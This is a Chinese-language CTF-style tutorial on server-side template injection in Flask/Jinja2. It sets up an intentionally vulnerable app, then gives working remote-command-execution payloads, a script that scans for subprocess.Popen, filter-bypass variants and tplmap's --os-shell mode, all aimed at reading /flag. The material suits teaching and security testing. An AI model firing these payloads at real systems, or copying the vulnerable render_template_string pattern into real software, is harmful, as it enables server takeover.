SSTI 深入实战:探测、RCE 链与绕过

SSTI 深入实战

服务端模板注入:搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。

14th Aug 2026

4 min read

一、现实背景:模板引擎的正确与错误用法

Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法:

from flask import Flask, render_template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get("name", "world")
    return render_template("hello.html", name=name)

模板文件 hello.html 内容是固定的 <h1>Hello, {{ name }}!</h1>,用户输入只是参数值。

错误写法是把用户输入拼进模板字符串:

return render_template_string("<h1>Hello, " + name + "!</h1>", name=name)

{{ ... }} 里的表达式会被求值。用户输入进入模板字符串,就形成了模板注入(SSTI)。

二、环境搭建

pip install flask

保存 app.py:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get("name", "world")
    html = "<h1>Hello, " + name + "!</h1>"
    return render_template_string(html, name=name)

app.run(host="0.0.0.0", port=5000)

运行:

python app.py

三、核心步骤 1:探测

目的:确认"用户输入被当作模板代码求值"。

思路:模板引擎会执行 {{ 表达式 }}。传 {{7*7}},若响应出现 49,说明表达式被求值,注入成立。先做这一步,再考虑 RCE。

3.1 正常请求

curl "http://127.0.0.1:5000/?name=alice"

预期输出:

<h1>Hello, alice!</h1>

3.2 表达式求值

curl "http://127.0.0.1:5000/?name={{7*7}}"

预期输出:

<h1>Hello, 49!</h1>

7*7 被求值成 49,说明模板表达式生效,SSTI 成立。

3.3 其他引擎的探测语法

引擎语言探测 payload
Jinja2 / TwigPython / PHP{{7*7}}
FreemarkerJava${7*7}
VelocityJava#set($x=7*7)$x
SmartyPHP{$smarty.version}

四、核心步骤 2:一条 RCE 链

目的:从"能算数"提升到"能执行系统命令"。

思路:模板只能访问少量对象(如 config)。Python 对象有 __class__、__init__、__globals__ 等内部属性,沿着它们可以摸到模块全局命名空间,从而拿到 os 模块。验证方式:先执行 id,输出 uid=... 即成功,再换 cat /flag。

目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 config 对象,沿 Python 内部属性找到 os 模块。

4.1 分步理解

config                                  → Flask 配置对象
config.__class__                        → 它的类(Config)
config.__class__.__init__               → Config 的构造函数
config.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间(字典)
__globals__['os']                       → os 模块
os.popen('id').read()                   → 执行命令并读取输出

4.2 完整 payload

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

用 curl 发送:

curl "http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"

预期输出:

<h1>Hello, uid=0(root) gid=0(root) groups=0(root)!</h1>

命令执行成功。读 flag:

curl "http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}"

预期输出:

<h1>Hello, flag{ssti_rce}!</h1>

为什么先试 id 再试 cat /flag:id 只读当前用户信息,无副作用,适合验证命令是否真的执行;确认能执行后再读 flag,避免在 payload 有误时盲目尝试。

4.3 备选链:subclasses 扫描

目的:当 config 链被过滤或不可用时,用"从 object 找所有子类"的通用路径定位 subprocess.Popen。

config 链不可用时,从字符串对象出发找 subprocess.Popen:

''.__class__.__mro__[1].__subclasses__()

先用 Python 脚本找下标:

import requests

url = "http://127.0.0.1:5000/"
for i in range(500):
    # 逐个尝试子类下标 0..499,把类名渲染出来。
    payload = "{{''.__class__.__mro__[1].__subclasses__()[" + str(i) + "].__name__}}"
    # '':空字符串对象;.__class__:它的类 str;
    # .__mro__[1]:继承链上的 object 类;
    # .__subclasses__():object 的所有子类列表;[i] 取第 i 个;
    # .__name__:该类的名字,会渲染到页面。
    r = requests.get(url, params={"name": payload})
    if "Popen" in r.text:
        # 页面出现 Popen 字样,说明找到了 subprocess.Popen 的下标。
        print("Popen index:", i)
        break

预期输出:Popen index: 258(数字因 Python 版本而异)。

然后利用:

{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}
# Popen('id', shell=True, stdout=-1):
#   shell=True 表示通过 /bin/sh 执行字符串命令;
#   stdout=-1 表示把标准输出接到管道;
#   .communicate()[0]:等待进程结束并取标准输出。

五、核心步骤 3:过滤绕过

目的:题目过滤 .、[]、关键词时,用等价写法表达同样的调用。

思路:点号访问可以用 Jinja2 的 attr 过滤器替代;字符串可以被拆到 URL 参数里,让模板中不出现被过滤的关键词。验证方式:逐步替换被过滤的部分,直到 payload 能被完整执行。

题目常过滤 .、[、] 或关键词。

5.1 用 attr 过滤器替代点号

{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}

5.2 把敏感字符串放进 URL 参数

/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag

模板里不再出现 os、cat 等关键词,可绕过字符串匹配类过滤器。

六、必学工具

工具 1:curl

curl "http://target/?name={{7*7}}"          # 探测
curl -G "http://target/" --data-urlencode "name={{...}}"   # 自动 URL 编码

工具 2:requests

import requests

url = "http://target/"
payload = "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"
r = requests.get(url, params={"name": payload})
# requests.get 的 params 参数:把字典转成查询字符串并自动 URL 编码。
# 例如 payload 里的空格、引号会被编码,避免手工转义出错。
print(r.text)

params 自动完成 URL 编码,比手工拼接省事。

工具 3:tplmap

模板注入自动化工具:

git clone https://github.com/epinna/tplmap
cd tplmap && pip install -r requirements.txt
python tplmap.py -u "http://target/?name=*"          # * 是注入点标记
python tplmap.py -u "http://target/?name=*" --os-shell

七、小 CTF 实战:Flask 模板题

题目:http://target/?name= 存在 SSTI,flag 在 /flag。

第一步:探测

目的:用最便宜的请求确认漏洞类型,再决定用哪条链。

curl "http://target/?name={{7*7}}"

响应含 49 → 确认。

第二步:直接打

思路:先 config.__globals__ 链试 cat /flag;如果响应没出现 flag 内容,先改用 id 确认命令是否执行,再排查是不是命令被截断(如空格需要编码)。

import requests

url = "http://target/"
payload = "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"
r = requests.get(url, params={"name": payload})
print(r.text)

预期输出中出现:

flag{ssti_rce}

第三步:被过滤时

思路:把点号换成 attr、把关键词拆到 URL 参数,一条条替换直到成功。

改用 attr 与 request.args 组合:

/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag

八、小结

SSTI 主线:探测 {{7*7}} → config.__class__.__init__.__globals__['os'] 执行命令 → 被过滤就换 attr/request.args。理解了对象链,各种过滤只是换写法的问题。